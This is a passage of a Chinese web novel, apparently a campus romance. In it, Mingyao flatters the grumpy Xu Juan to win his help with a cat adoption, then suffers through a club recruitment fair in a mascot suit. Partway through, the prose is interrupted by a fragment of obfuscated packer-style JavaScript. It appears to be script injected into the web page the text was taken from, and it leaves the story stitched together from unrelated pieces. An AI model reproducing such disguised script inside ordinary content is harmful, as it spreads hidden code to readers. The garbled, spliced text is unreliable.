消息如同石沉大海般没有回音。 熄灯之后，在床上念叨了一晚上的储怡然终于起身，赶在还能吹头发的时间前洗了个澡，回来的时候，带着秋夜的湿潮，和明瑶商量明天帮她做个值日。 明瑶应了一声，窝在被子里看手机，祝晚宁说挂好号了，明天请假去医院。 她犹豫着看着校园墙编辑好的帖子，没点发送，存在了草稿箱里，犹豫着点开了和明丽女士的聊天框，又切回了和令书斌聊天界面，上一条还停留在十个月前，他发了条信息，祝她新年快乐，不知道是不是群发的。 最终她还是狠下心，试探地问了句明丽最近在家里过得怎么样。 年纪大的人睡得早了，不像之前发了就立刻回复。 明瑶盯着屏幕，迷迷糊糊之间就睡着了。 她在梦里又见到了她的小猫。 小时候见了外婆家的小土猫，她立刻就走不动道了，哭着闹着要养。 明丽试图用“猫随地拉屎”“猫毛满天飞”来劝她放弃，耐不住明瑶死活要养，还保证养了之后她会负责照顾猫。 明丽就答应了。 当然有条件地答应了，之后给她列了一个小计划，不是关于养猫的。 而是让她参加美术班和作文班，每周上课回来，就要写一篇关于动物的小作文，画一张小动物的素描。 明瑶被迫答应了去兴趣班，这猫就没白养。 明瑶刚开始都老老实实地执行了，后来明丽就开始层层加码，如果她拒绝，就扬言明瑶对小猫不负责任，是个不负责任的小主人。 明丽对那只猫确实很好，很有耐心地照顾，这只猫在她家活了好几年，得病的时候明丽比明瑶还着急，带去那时还不是很常见的宠物医院看病。 可惜后来她还是病死了。 后来明丽还给明瑶从宠物店去挑小动物，说她想要哪只都可以。 但对应的，也要完成明确的要求。 后来…… 后来她忘了怎么样了。 她彻底陷在纯黑的梦里。 － 这一夜她睡得并不安稳，时而醒了又坠进梦里。 直到被清早的一声电话声强行拽了出来。 明瑶闭着眼睛摸手机，“喂”了一声。 “才醒？” 我醒不醒的关你什么—— 明瑶睁开眼，一下子坐起来了。 X：[我通过了你的朋友验证请求，现在我们可以开始聊天了。] 睡梦中的储怡然嘟囔一声，翻了个身。 明瑶衣服都没套，“嗯”了一声，趿拉着一只鞋飞奔到楼道，而后尴尬地咳了一声。 “要死楼三楼。” 那边的声音平静清落，听不出情绪。 “现在来。” 容不得明瑶答应一句的工夫，就挂断了电话。 明瑶转身回屋，五分钟上厕所洗漱，套好衣服出门，飞身下楼，上了校园巴士，战斗速度快的堪比高中生。 上车先给祝晚宁发条信息，告诉她今天她去见一下能收养猫的朋友，让祝晚宁自己先带猫去医院吧。 祝晚宁没回，反而是储怡然发了条消息发来，让她记得捎午饭回来，说自己今天上午不下床了。 明瑶回了个“收到”，看着屏幕忽然走神了一秒，继续打字问她，【你说我那个猫的事，我朋友那么说行吗？】 储怡然：【你昨天不是问了吗？她家长肯定会答应的。一般人一听说肯定心软。】 日月：【那要不是一般人呢？】 储怡然：【=_=】 储怡然：【那就只能使杀手锏了。】 储怡然：【撒娇。】 明瑶一愣，眼神盯在屏幕上两秒，咬了咬牙，打开搜索引擎。 [为了达成目的，如何和男生撒娇？] 她扫了两眼内容，感觉有点难以形容。 这真的是可以当面可以说出来的话吗？ 未免有点太肉麻了。 巴士到站，明瑶下车的时候，连忙给许镌发了条信息，汇报行程，【我到了。】 死卷：【来。】 明瑶上楼的时候还在琢磨刚才看的《三步把男生钓成翘嘴》和《让男生沦陷的撒娇大法》，仔细对比了一下，她现在和许镌说话是有点不太客气。 撒娇管不管用另说，现在有求于他，说话是要客气一点。 尽管这次门口没挂着请勿打扰的牌子，但明瑶还是敲了敲门。 开门的是乔之淮，眼神中带着惊讶，“小明妹妹？你咋来了？” “老许！明瑶来了！” 明瑶还没回他，他答应了一声什么，然后开了门。 明瑶这才跟着他进去，和之前差不多的布局，多了一堆材料，堆在一边。 声音是从楼上传来的，她抬头，发现那人从楼梯上下来了。 身上就套了件微皱的白衬衫和黑裤，头发炸起，跟刺猬一样，眼底隐约带着青黑，长睫扫过眼皮，望过来的黑眸有点不耐烦的起床气。 看起来不太妙。 情绪不好。 她想了一下，为了表示敬意，特地小跑着迎过去了。 “你起了呀。想吃点什么吗？我可以帮你去买的。” 乔之淮：“？！” 最速成的沟通手段，加上语气词，让自己变得温柔起来。 许镌掀起眼皮，不动声色地看她一眼。 “小笼包。” “好的。”明瑶得令：“我去买。” 乔之淮眼神中充满了迷茫。 “不用。”许镌叫住她，“让他买。” 乔之淮愣了一下，眼神一暗，忽然又眼睛一亮，屁颠屁颠地就下楼了。 剩下明瑶坐在这里继续表演，“你还想吃点什么嘛，我很高兴可以帮助你的。” 许镌看她一眼，转身回办公桌旁，打开电脑，单手拧开瓶啤酒，边喝边打游戏。 手机震动了一声，明瑶看祝晚宁给她发了个“谢谢”过来，感觉她谢早了。 这大爷丝毫没有一点高兴的意思，她没法直接提。 正好他打完了一盘，明瑶偷瞄一眼，他赢了。 “你好棒呀！你怎么那么厉害呢！” 那人的动作顿了一下，转过头，喝了一口啤酒，托着下巴，继续看她各种方式吹彩虹屁。 “大神，菜菜，呜呜。” 明瑶绞尽脑汁地挤出来最后一句。 “你学习好，游戏还打得好，我舍友都羡慕我认识你这么棒的男孩子呢。” 外面咣当一声，打包回来的餐盒吓得掉到了地上，乔之淮站在原地，目瞪口呆。 谁能告诉他出去的十分钟发生了什么？ 许镌斜眼看他：“饭呢？” 乔之淮“哦”了一声，跟梦游一样走过来，“给小明妹……同学也没买了一份。” 明瑶继续开始表现，“给许镌吧！他熬夜学习太辛苦了！” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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明瑶掏出手机，给刚加的航模社社长发消息，问他什么时候开始招新，她好过去发传单。 这也是许镌给她拉的活儿，她本来不想去的，大太阳下面站着太难受。 许镌像是看出来她犹豫，和她说航模社那边要求很高，要一个形象好的工作人员，他不放心放乔之淮出去影响校容。 就需要明瑶这样形象好、气质佳的漂亮学生。 明瑶觉得自己义不容辞。 航模社社长特热情，把整周的招新时间表都发过去了。 明瑶看上面没有服装要求，她看社团招新都是穿得西装革履的，她怕打扮得不好影响社团形象。 【不用。许镌介绍过来的嘛，我肯定放心，你穿什么来都行。】 明瑶思考了一下，还是决定洗个头以示尊重。 然后又借了一下宋时薇的化妆品和衬衫西裤，宋时薇还附赠她一个淡妆。 看时间差不多了，她捎着传单出门了。 一年一度的社团大招新，散落在学生宿舍附近，从老校区到新校区，东西南北四个大门都被社团的摊位占领了，几百个社团集体迎新，八仙过海，各显神通。 社长和部长们恨不得使出浑身解数，航模社的位置摆了不少航模和航展照片，但显然，隔壁小动物保护协会带来的那只超帅的边牧和呆萌的二哈更有吸引力。 只要拿走一张传单，加一次群，就可以摸一次狗狗。 不少社员想叛变去隔壁帮忙了。 被社长教训了一顿，待在门庭冷落的摊位前发呆。 明瑶带着传单过去，社长眼睛一亮，招了招手。 “看看！”社长很热情，“这就有来帮忙的了！” “这同学一看就人美心善。” 明瑶矜持地点了点头：“我现在过去发吗？” “有个重要道具。”社长说，“你等会儿。” 明瑶一愣，觉得可能是大模型。 跟车展一样，有个模特在旁边站着。 怪不得要形象好的。 社长抱着一大团东西过来了：“穿上吧。” 明瑶：“？” “玩偶套装啊。”社长递给她，“我觉得比隔壁社团的狗看起来萌多了。” 明瑶低头瞅一眼这表情呆滞的盗版迪士尼某玩偶，嘴角微抽。 “我能换一个吗？社长。” “可以啊。”社长说，“老周！老周女士！那个悲伤蛙在哪儿呢？” “不用了。”明瑶连忙拒绝，“我觉得这个挺好的。” “你不觉得这个不好吗？” “我现在觉得挺好的了。” 社长点头：“那麻烦你了，就这两天忙一点，每天四个小时。” 老周扶了扶眼镜：“拉链下面我特殊处理了一下，可以直接穿着上厕所。” “不对。”社长一愣，“这是给男生设计的位置。” “……” 明瑶把玩偶服套上了，认命地待了四个小时，没喝水。 结束散场，头发都已经全湿了，衣服上也都是汗。 “辛苦你了。”社长拍拍她的肩：“我就说老许为啥派你过来，刚开始我还对你有偏见，不符合我的要求，没想到啊，了不起——” 刚才四个小时又热又闷，她脑子都闷得没法思考了，这会儿才反应过来不对， “什么要求？” “要头、那个四肢发达点的，壮实点的，否则熬不住。” 明瑶累得已经掏不动手机了。 等她回去的。 把他备注直接改成骗子。